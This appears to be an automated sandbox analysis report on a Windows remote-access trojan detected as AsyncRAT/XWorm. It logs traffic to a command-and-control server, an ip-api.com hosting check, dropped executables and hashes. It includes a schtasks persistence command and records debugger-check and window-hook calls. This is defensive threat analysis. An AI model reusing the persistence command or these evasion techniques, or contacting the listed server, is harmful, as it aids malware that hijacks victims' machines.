Nov 25, 2024 08:58:23.510683060 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:23.886919022 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:24.006584883 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:24.462311029 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:24.464679956 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:24.584331036 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:26.326883078 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:26.447045088 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:26.450858116 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:26.570465088 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:26.902452946 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:26.904844046 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:27.024385929 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:27.274986029 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:27.276607037 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:27.396300077 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:32.606833935 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:32.726428986 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:33.181716919 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:33.183691978 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:33.303251028 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:36.168842077 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:36.289824963 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:36.621047020 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:36.740729094 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:36.745354891 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:36.747498989 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:36.907555103 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:37.196122885 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:37.198004961 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:37.317609072 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:46.589308023 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:46.708920002 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:47.164750099 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:47.168451071 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:47.288059950 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:51.574752092 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:51.694511890 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:52.150218010 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:52.152209997 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:52.271790028 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:53.438565969 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:53.654728889 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:53.917223930 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:54.036885023 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:54.492681980 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:54.494066000 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:54.613701105 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:56.073275089 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:56.193830013 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:56.674938917 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:56.676873922 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:56.796653032 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:57.276746035 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:57.396589041 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:57.776494980 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:57.852046967 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:57.896078110 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:57.896131992 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:58.015611887 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:58.351878881 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:58.353765965 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:58.473301888 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:58.608294964 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:58.609837055 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:58.729374886 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:00.886701107 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:01.006464958 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:01.462518930 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:01.464361906 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:01.584167004 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:07.995424986 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:08.115219116 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:08.115279913 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:08.234843969 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:08.234930992 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:08.355256081 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:08.579607964 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:08.581856012 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:08.702378988 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:08.833415985 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:08.838728905 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:08.958462000 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:09.136951923 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:09.140204906 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:09.260042906 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:09.260274887 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:09.380108118 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:11.058523893 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:11.178265095 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:11.633874893 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:11.635684013 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:11.755481005 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:18.246047020 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:18.365799904 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:18.821311951 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:18.829685926 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:18.949275017 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:19.510818005 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:19.630611897 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:20.104053974 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:20.107542038 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:20.227140903 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:23.090486050 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:23.214312077 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:23.444705009 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:23.560672998 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:23.621256113 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:23.740931034 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:23.745976925 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:23.750176907 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:23.911500931 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:24.196844101 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:24.199687958 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:24.322515965 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:27.195117950 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:27.314929962 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:27.770570993 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:59:27.771330118 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:59:27.890924931 CET	7000	49734	45.141.26.134	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 08:55:22.757508993 CET	62824	53	192.168.2.4	1.1.1.1
Nov 25, 2024 08:55:22.896015882 CET	53	62824	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 08:55:22.757508993 CET	192.168.2.4	1.1.1.1	0x6f6c	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 08:55:22.896015882 CET	1.1.1.1	192.168.2.4	0x6f6c	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	208.95.112.1	80	7456	C:\Users\user\AppData\Roaming\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 08:55:23.022228003 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Nov 25, 2024 08:55:24.118144035 CET	175	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 07:55:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 58 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Target ID:	0
Start time:	02:55:17
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\windxcmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\windxcmd.exe"
Imagebase:	0xf00000
File size:	3'542'528 bytes
MD5 hash:	65F2DF92724E59CABE9CC5F12768AD93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:55:18
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Roaming\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\svchost.exe"
Imagebase:	0x300000
File size:	40'448 bytes
MD5 hash:	FBC06EB9F872988CF94EC59C859FACD7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000001.00000002.4308288597.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:55:18
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Roaming\wind.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\wind.exe"
Imagebase:	0x1cd8cab0000
File size:	3'491'840 bytes
MD5 hash:	A43BF335D87DF0128E7DA328C6A447B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 19%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	02:55:24
Start date:	25/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:55:24
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD9B610D80 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B610E38

Memory Dump Source

Source File: 00000000.00000002.1846639125.00007FFD9B610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b610000_windxcmd.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 53e665ff854aae9de595bfda1e5618e72289f95767a27d36fac6bdef973c5c60
Instruction ID: e3b7cf2f2431b97c4f87b5836f0fd3962e606ee3bb30c48b9218c77047fe8c76
Opcode Fuzzy Hash: 53e665ff854aae9de595bfda1e5618e72289f95767a27d36fac6bdef973c5c60
Instruction Fuzzy Hash: 3631966284E3C65FC71397B08CB64A17FB09E4762070E44EBD8D4CF4A3D51C6A9AC762

Function 00007FFD9B6110ED Relevance: .4, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1846639125.00007FFD9B610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b610000_windxcmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d259128b5e1a27755c73130fac29bbeff0e850f6ed1a850c0199278eae0df35b
Instruction ID: 8ade59178904e8eb4f09c3df27fd7c51517d0c626e64a18b34196eba7233a1b0
Opcode Fuzzy Hash: d259128b5e1a27755c73130fac29bbeff0e850f6ed1a850c0199278eae0df35b
Instruction Fuzzy Hash: B731D421B0DA894FEB95FB6848696B87BE1EF59301B0900BBD45DC72E7DD14AC018741

Function 00007FFD9B6109F7 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1846639125.00007FFD9B610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b610000_windxcmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3839d167eccdc8e98a7270807924fc349f9f8e6772eb6f0303c61e82d8bad8f1
Instruction ID: 0d7a22b4dc747657cbf21bb223d21780f1fa98168192216d86932ac30aebed60
Opcode Fuzzy Hash: 3839d167eccdc8e98a7270807924fc349f9f8e6772eb6f0303c61e82d8bad8f1
Instruction Fuzzy Hash: 7A715D30B1990D8FDB98EB68C468BAD77E2FF54305F114579E06AD72E1CF38A9428B40

Function 00007FFD9B610498 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1846639125.00007FFD9B610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b610000_windxcmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cded3e716d79fae2d9dcac0dce10676c08388bff36dba91b75b32700a6b2957a
Instruction ID: 6504c38dfce7a4af7b89e83a9f56bd6fc7b5383028251b61cf7c8333c2428961
Opcode Fuzzy Hash: cded3e716d79fae2d9dcac0dce10676c08388bff36dba91b75b32700a6b2957a
Instruction Fuzzy Hash: 7F21A731B1895D4FEB94FB6C88A9ABD73D2EF98305B44007AE41DD32A7DE24A8418740

Function 00007FFD9B610E71 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1846639125.00007FFD9B610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b610000_windxcmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a7a15b577afc4ed52baab58d5d4aff610f8907825b4ff5fbbd67e031cba0f9
Instruction ID: 80c50bc5912517e8e81d3846b6d54a14f7f7b88e800e583cb53b3805c3de06ae
Opcode Fuzzy Hash: b4a7a15b577afc4ed52baab58d5d4aff610f8907825b4ff5fbbd67e031cba0f9
Instruction Fuzzy Hash: 9C014E31B1E6894FD794E739986596973D1EF48708F010079D05DC72D6EE2CB8418782

Function 00007FFD9B6104B0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1846639125.00007FFD9B610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b610000_windxcmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2212f039560689636d6f536f3d6be61308dfd4febf5ce4978dac2afcde567af
Instruction ID: a828c5f460762613df7def245f3a3d740b408e48157fedec2ec37ab0a771dc4b
Opcode Fuzzy Hash: f2212f039560689636d6f536f3d6be61308dfd4febf5ce4978dac2afcde567af
Instruction Fuzzy Hash: 33F0F930B1D5194FD694E729986596973D1EB88708B500039D01EC3299DE2CB9424BC2

Function 00007FFD9B6104A8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1846639125.00007FFD9B610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b610000_windxcmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f48322b06975a898d07c507ca0ac173b97d9a4facd3227a7a909b057ce1dc88a
Instruction ID: e64923373f75c22d4e0e7369ed35884d7fbcf24128b38b921ec4d49d57068751
Opcode Fuzzy Hash: f48322b06975a898d07c507ca0ac173b97d9a4facd3227a7a909b057ce1dc88a
Instruction Fuzzy Hash: 4DF0F930B1E5594AD794E739985197933D1DF88708F100575D01DC329ADD28B84247C1

Function 00007FFD9B610F3F Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1846639125.00007FFD9B610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b610000_windxcmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d982e96f5aa02b1fd458530c518739aeb1530a2bb7edf7be4d13645956640126
Instruction ID: ed73fb83351e37e03a2e736d758d7dad236eaf9b9b91f26085463f70056bfe5b
Opcode Fuzzy Hash: d982e96f5aa02b1fd458530c518739aeb1530a2bb7edf7be4d13645956640126
Instruction Fuzzy Hash: 3EE08602F5D8094BFB9869AC28762B8B7C1EB98614F415035E01DC22DBEC19AC824241

Analysis Process: svchost.exePID: 7456, Parent PID: 7404COMMON

Execution Graph

Execution Coverage:	21.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	23.1%
Total number of Nodes:	13
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B60C794 Relevance: 2.4, Strings: 1, Instructions: 1101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9B60D2D0

Memory Dump Source

Source File: 00000001.00000002.4319930887.00007FFD9B600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b600000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 3d280451b3b7249ea671043e83b7e0f227bf829c0275a01703c0fe909bad9101
Instruction ID: 98771f8f90fb11a20edb76d78c26b1d2c80ee4fc338d1b8af3b1b5a1231b3e30
Opcode Fuzzy Hash: 3d280451b3b7249ea671043e83b7e0f227bf829c0275a01703c0fe909bad9101
Instruction Fuzzy Hash: 4C72F530F1D50E4BEB68EBBA8462A7972D2FF89310F554578D46EC72D6DE38B8028741

Function 00007FFD9B606D21 Relevance: 1.9, APIs: 1, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32 ref: 00007FFD9B606DD0

Memory Dump Source

Source File: 00000001.00000002.4319930887.00007FFD9B600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b600000_svchost.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 9043e3776fc03d8bbe4954d5ca85373896bc80d1b04bea2c6db0e81672b3c935
Instruction ID: 23dbe1fabe5c9421741b4a5faec2c8d4572d999230edf5897010d00156dc3ecc
Opcode Fuzzy Hash: 9043e3776fc03d8bbe4954d5ca85373896bc80d1b04bea2c6db0e81672b3c935
Instruction Fuzzy Hash: 8CC1253090978C8FDB59DF68C8557E97BE0FF56310F0542ABE889C72A2DB34A945CB81

Function 00007FFD9B605776 Relevance: .5, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.4319930887.00007FFD9B600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b600000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4ede316da15ccc5824801618a65a5f8f7b0d0da60404677735c786e42f8e9e9
Instruction ID: 61fab33b207dd1f1bcd1231cd7a22f7209fa0aa383056d92886b3b02b3d8f5f5
Opcode Fuzzy Hash: e4ede316da15ccc5824801618a65a5f8f7b0d0da60404677735c786e42f8e9e9
Instruction Fuzzy Hash: 99F1D730A0DA8D8FEBA8DF29C8957E937D1FF55310F04426EE85DC7295DB34A9448B81

Function 00007FFD9B606522 Relevance: .5, Instructions: 458
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.4319930887.00007FFD9B600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b600000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adf29b8f18fbfdad204ca68a9aca3c755844a892096d5262c21b401b7e540502
Instruction ID: 1d09c1c8cd555c89d26502d69b050a75f40c516ea21e589b3bc1a91503273dd4
Opcode Fuzzy Hash: adf29b8f18fbfdad204ca68a9aca3c755844a892096d5262c21b401b7e540502
Instruction Fuzzy Hash: F7E1E630A19A8D8FEBA8DF29C8657E93BD1FF55310F04426EE85DC7295CF74A9408782

Function 00007FFD9B601631 Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4319930887.00007FFD9B600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b600000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5485e8aa05f8fbe053c6db650701cd8d903599f2148cad2af0f07d2dcfad8337
Instruction ID: c51d9b6d5f340def7f0bb3039ed60d2a6e5e96bc082694fe9f257d1928d133db
Opcode Fuzzy Hash: 5485e8aa05f8fbe053c6db650701cd8d903599f2148cad2af0f07d2dcfad8337
Instruction Fuzzy Hash: 1BC1C520B1D90D4FEB98EB6E84757B977D2EF9A300F45417AE09DC72E6DE28B9014341

Function 00007FFD9B608958 Relevance: 1.8, APIs: 1, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.4319930887.00007FFD9B600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b600000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 449b7cacbc73ff2f41adf7b2c02ac948ae87633f1215d78218c4e02a10dbbd3e
Instruction ID: a3e0f8df4b5789b6b6051dd84affe522cce45d29fb398d85ee27c9f86950f691
Opcode Fuzzy Hash: 449b7cacbc73ff2f41adf7b2c02ac948ae87633f1215d78218c4e02a10dbbd3e
Instruction Fuzzy Hash: 9971D430A0DA5C8FDB58EB59D8556F9BBE1FF59321F04427BD059C3292CB74A811CB81

Function 00007FFD9B6089AD Relevance: 1.8, APIs: 1, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFD9B608B61

Memory Dump Source

Source File: 00000001.00000002.4319930887.00007FFD9B600000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b600000_svchost.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 1f05eab89984ebca46c425d4fa635855aac93fa56034591fed6e83c6ba9b9973
Instruction ID: 751eb2e713ca722449de8193e15c7f3d7eb5d69188228761d3a856faa1c7d9ef
Opcode Fuzzy Hash: 1f05eab89984ebca46c425d4fa635855aac93fa56034591fed6e83c6ba9b9973
